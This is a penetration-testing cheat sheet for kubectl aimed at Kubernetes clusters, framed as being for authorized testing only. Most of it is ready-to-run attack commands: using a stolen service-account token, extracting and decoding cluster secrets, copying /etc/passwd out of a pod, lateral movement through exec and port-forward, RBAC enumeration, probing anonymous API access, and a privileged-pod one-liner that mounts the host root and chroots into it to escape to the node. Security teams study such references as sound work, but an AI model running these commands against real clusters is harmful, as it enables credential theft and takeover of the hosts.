kubectl Cheat Sheet
Kubernetes CLI for cluster enumeration, secret access, and pod exec during authorized K8s penetration tests.
Overview
kubectl talks to the Kubernetes API server. After obtaining kubeconfig, SA tokens, or dashboard access, enumerate namespaces, secrets, RBAC, and attempt privilege escalation to cluster-admin.
Authorized testing only. Use only on systems, networks, and accounts you own or have explicit written permission to test. Unauthorized access is illegal.
Install
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"chmod +x kubectl && sudo mv kubectl /usr/local/bin/kubectl version --clientEssential commands
Context / auth
kubectl config get-contextskubectl config use-context prodkubectl cluster-infoResources
kubectl get pods -Akubectl get secrets -n kube-systemkubectl describe pod POD -n NAMESPACECommon workflows
Stolen service account token (in-pod) —
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)export APISERVER=https://kubernetes.default.svcexport CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crtkubectl --token="$TOKEN" --server="$APISERVER" --certificate-authority="$CACERT" get podsSecret extraction —
kubectl get secrets -Akubectl get secret db-creds -n app -o jsonpath='{.data.password}' | base64 -dkubectl get secret db-creds -n app -o yamlExec / lateral movement —
kubectl exec -it pod-name -n app -- /bin/shkubectl cp app/pod-name:/etc/passwd ./passwdkubectl port-forward -n app svc/internal-api 8080:80RBAC enumeration —
kubectl auth can-i --listkubectl auth can-i create pods --all-namespaceskubectl get clusterrolebindings -o widekubectl get rolebindings -APrivileged pod (node escape vector) —
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged==true) | .metadata.name'kubectl run pwn --image=alpine --overrides='{"spec":{"hostPID":true,"hostNetwork":true,"containers":[{"name":"pwn","image":"alpine","stdin":true,"tty":true,"securityContext":{"privileged":true},"volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"name":"host","hostPath":{"path":"/"}}]}}' -it --rm -- chroot /host bashkubeconfig from compromised workstation —
cat ~/.kube/configkubectl get nodeskubectl get namespacesFlags reference
-n NAMESPACE | Target namespace |
|---|---|
-A / --all-namespaces | All namespaces |
-o yaml\ | json\ |
--token TOKEN | Bearer token auth |
--kubeconfig FILE | Config path |
auth can-i VERB RESOURCE | Permission check |
-it | Interactive TTY for exec |
Tips
- kube-system secrets and cluster-admin bindings are high value.
- Use peirates, kube-hunter, kdigger for guided K8s attacks after kubectl access.
- Anonymous auth: kubectl --server=IP:6443 --insecure-skip-tls-verify get pods sometimes works on misconfigs.
- Audit logs record kubectl API calls — coordinate with blue team in purple engagements.